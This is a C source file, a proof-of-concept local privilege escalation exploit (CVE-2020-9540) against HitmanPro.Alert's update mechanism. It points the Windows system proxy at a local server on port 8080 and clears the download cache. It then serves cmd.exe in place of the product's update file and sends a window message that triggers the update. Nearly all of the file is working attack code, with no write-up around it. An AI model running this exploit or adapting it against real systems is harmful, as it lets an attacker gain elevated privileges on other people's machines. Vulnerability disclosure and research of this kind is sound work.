CVE-2020-9540.c

/*
  HitmanPro.Alert insecure downloads LPE exploit PoC
*/
#include <Windows.h>
#include <ShlObj.h>
#include <WinInet.h>
#include <stdio.h>

#pragma comment(lib, "Ws2_32.lib")
#pragma comment(lib, "WinInet.lib")
#define REG_INTERNET_SETTINGS "Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings"

typedef struct _DATA
{
  LPVOID FileBytes;
  DWORD FileSize;
} DATA, *PDATA;

/*
  State is equal can be TRUE to turn on the proxy, and FALSE to turn of the proxy
*/
BOOL SetSystemProxy(BOOL State, LPCSTR ServerString)
{
  DWORD	dwData;
  dwData = State ? 1 : 0;
	
  if (!RegSetKeyValueA(HKEY_CURRENT_USER, REG_INTERNET_SETTINGS, "ProxyEnable", REG_DWORD, &dwData, sizeof(dwData)))
  {
    if (!dwData)
    {
      RegDeleteValueA(HKEY_CURRENT_USER, REG_INTERNET_SETTINGS, "ProxyServer");
      return(TRUE);
    }
    else 
    {
      if (!RegSetKeyValueA(HKEY_CURRENT_USER, REG_INTERNET_SETTINGS, "ProxyServer", REG_SZ, ServerString, strlen(ServerString)))
      {
        return(TRUE);
      }
    }
  }
  return(FALSE);
}

BOOL ClearDownloadCache(LPCSTR CachePrefix)
{
  SHFILEOPSTRUCT  fileOp;
  LPVOID          lpPath;

  ZeroMemory(&fileOp, sizeof(fileOp));
  lpPath = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, MAX_PATH + strlen(CachePrefix));
  if (SHGetFolderPathA(0, CSIDL_LOCAL_APPDATA, NULL, SHGFP_TYPE_DEFAULT, lpPath) == S_OK)
  {
    strcat_s(lpPath, MAX_PATH, CachePrefix);
    fileOp.wFunc = FO_DELETE;
    fileOp.pFrom = lpPath;
    fileOp.pTo = lpPath;
    fileOp.fFlags = FOF_NOCONFIRMATION | FOF_NOERRORUI | FOF_SILENT;
    fileOp.fAnyOperationsAborted = FALSE;
    if (!SHFileOperationA(&fileOp))
    {
      HeapFree(GetProcessHeap(), 0, lpPath);
      return(TRUE);
    }
    else
    {
      HeapFree(GetProcessHeap(), 0, lpPath);
      return (FALSE);
    }
  }
  return (FALSE);
}

BOOL LoadSignedFile(PDATA SignedFileData)
{
  HANDLE  hFile;

  hFile = CreateFileA("C:\\Windows\\System32\\cmd.exe", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, 0);
  if (hFile != INVALID_HANDLE_VALUE)
  {
    SignedFileData->FileSize = GetFileSize(hFile, NULL);
    SignedFileData->FileBytes = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, SignedFileData->FileSize);
    ReadFile(hFile, SignedFileData->FileBytes, SignedFileData->FileSize, NULL, NULL);
    CloseHandle(hFile);
    return(TRUE);
  }
  return(FALSE);
}

VOID FileServerLoop(PDATA SignedFileData)
{

  struct sockaddr_in  serverAddr;
  struct sockaddr_in  clientAddr;
  WSADATA             wsaData;
  SOCKET              sockServer;
  SOCKET              sockConnected;
  LPCSTR              lpszHost;
  BOOL                bBreak;
  CHAR                recvBuff[0x5000];
  int                 sinSize;
  int                 optVal;
  
	WSAStartup(MAKEWORD(2, 2), &wsaData);

  sockServer = socket(AF_INET, SOCK_STREAM, 0);
  optVal = 1;
  setsockopt(sockServer, SOL_SOCKET, SO_REUSEADDR, &optVal, sizeof(optVal));

  serverAddr.sin_family = AF_INET;
  serverAddr.sin_port = htons(8080);
  serverAddr.sin_addr.s_addr = INADDR_ANY;
  memset(&(serverAddr.sin_zero), 0, 8);

  bind(sockServer, (struct sockaddr *)&serverAddr, sizeof(struct sockaddr));
  bBreak = FALSE;
  printf("[i] Server started on port 8080\n");
  do {
    listen(sockServer, 5);
    fflush(stdout);
    sinSize = sizeof(struct sockaddr_in);
    sockConnected = accept(sockServer, (struct sockaddr *)&clientAddr, &sinSize);
    memset(&recvBuff, 0x00, sizeof(recvBuff));
    recv(sockConnected, recvBuff, sizeof(recvBuff), 0);
    //printf("Received:%s", recvBuff); // Debug
    lpszHost = strstr(&recvBuff, "Host: ");
    if (!strncmp(lpszHost, "Host: get.hitmanpro.com", 23))
    {
      bBreak = TRUE;
      send(sockConnected, SignedFileData->FileBytes, SignedFileData->FileSize, 0);
    }
    closesocket(sockConnected);
  } while (!bBreak);
  closesocket(sockServer);
  WSACleanup();
  ExitThread(0);
}

void main()
{
  HANDLE  hServer;
  DATA    dSignedFile;

  if (SetSystemProxy(FALSE, ""))
  {
    if (SetSystemProxy(TRUE, "127.0.0.1:8080"))
    {
      InternetSetOption(NULL, INTERNET_OPTION_SETTINGS_CHANGED, NULL, 0);
      InternetSetOption(NULL, INTERNET_OPTION_REFRESH, NULL, 0);
      printf("[i] Set system proxy\n");
	
      if (ClearDownloadCache("\\Microsoft\\Windows\\INetCache\\IE\\*"))
      {
        printf("[i] Cleaned download cache\n");
        if (LoadSignedFile(&dSignedFile))
        {
          printf("[i] Loaded signed file\n");
          hServer = CreateThread(NULL, 0, &FileServerLoop, &dSignedFile, 0, NULL);
          Sleep(1500); // Ensure proxy is started
          SendMessageA(HWND_BROADCAST, 0x111, 0x3FC, 0); // Update message to Hitmanpro.Alert
          WaitForSingleObject(hServer, INFINITE);
          printf("[i] Exploit complete\n");
          HeapFree(GetProcessHeap(), 0, dSignedFile.FileBytes);
          if (SetSystemProxy(FALSE, ""))
          {
            printf("[i] Removed system proxy\n");
          }
        }
      }
    }
  }
  printf("[.] Press enter to exit\n");
  getchar();
  return;
}